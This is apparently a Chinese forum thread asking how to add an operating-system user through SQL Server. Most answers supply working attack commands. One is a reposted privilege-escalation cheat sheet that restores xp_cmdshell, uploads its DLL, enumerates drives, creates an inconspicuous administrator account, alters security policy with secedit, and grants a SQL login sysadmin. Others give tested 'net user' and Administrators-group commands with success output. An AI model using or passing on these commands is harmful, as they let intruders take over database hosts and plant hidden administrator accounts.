可否通过sql增加操作系统的用户?

Question

用扩展存储过程xp_cmdshell
具体的你参考联机文档

Answer 1

互联网上对SQL Server各种各样的语句都做了很多的总结，在此为大家在补充一些提升权限相关命令及防范……
　　 
　　 程序代码开启cmdshell的SQL语句
　　 
　　 EXEC sp_addextendedproc xp_cmdshell ,@dllname =""""xplog70.dll""""
　　 
　　 判断存储扩展是否存在 
　　 select count(*) from master.dbo.sysobjects where xtype=""""X"""" and name=""""xp_cmdshell"""" 
　　 返回结果为1就OK
　　 
　　 恢复xp_cmdshell 
　　 Exec master.dbo.addextendedproc """"xp_cmdshell"""",""""xplog70.dll"""";select count(*) from master.dbo.sysobjects where xtype=""""X"""" and name=""""xp_cmdshell"""" 
　　 返回结果为1就OK
　　 
　　 否则上传xplog7.0.dll 
　　 Exec master.dbo.addextendedproc """"xp_cmdshell"""",""""C:/WinNt/System32/xplog70.dll""""
　　 
　　 堵上cmdshell的SQL语句 
　　 sp_dropextendedproc "xp_cmdshell"
　　 
　　 DOS: 
　　 dir c:/ 
　　 dir d:/ 
　　 dir e:/
　　 
　　 net user TsInternetUsers Password /add 
　　 net localGroup Administrators TsInternetUsers /add
　　 
　　 备份恢复IPSEC　 
　　 secedit /export /CFG c:/tmp.inf 
　　 echo sedenynetworklogonright =>>c:/tmp.inf 
　　 secedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf　 
　　 SQL: 
　　 exec master..sp_addlogin UserName,Password 
　　 exec master..sp_addsrvrolemember UserName,sysadmin
　　 eNet硅谷动力　提供以上内容

Answer 2

哈哈！:) zzit0721()兄 我拉了个做网站的活路，必须要上网，嘿嘿！看样子走不了了！:)

Answer 3

xp_cmdshell 'net user username password /add'
xp_cmdshell 'net localgroup aministrators username /add'

Answer 4

上面各位的代码好象都有点问题,执行不通过!
简单点,如何将用户:aaa 密码 123456 加到操作系统的administrators组中!

Answer 5

去掉 [xp_cmdshell]前的方括号exec [xp_cmdshell] 'net user aaa 123456 /add'
exec [xp_cmdshell] 'net localgroup administrators aaa /add'output       
                                                                        
命令成功完成。
NULL
NULL（所影响的行数为 3 行）output                                                                                                                                                                    
命令成功完成。
NULL
NULL（所影响的行数为 3 行）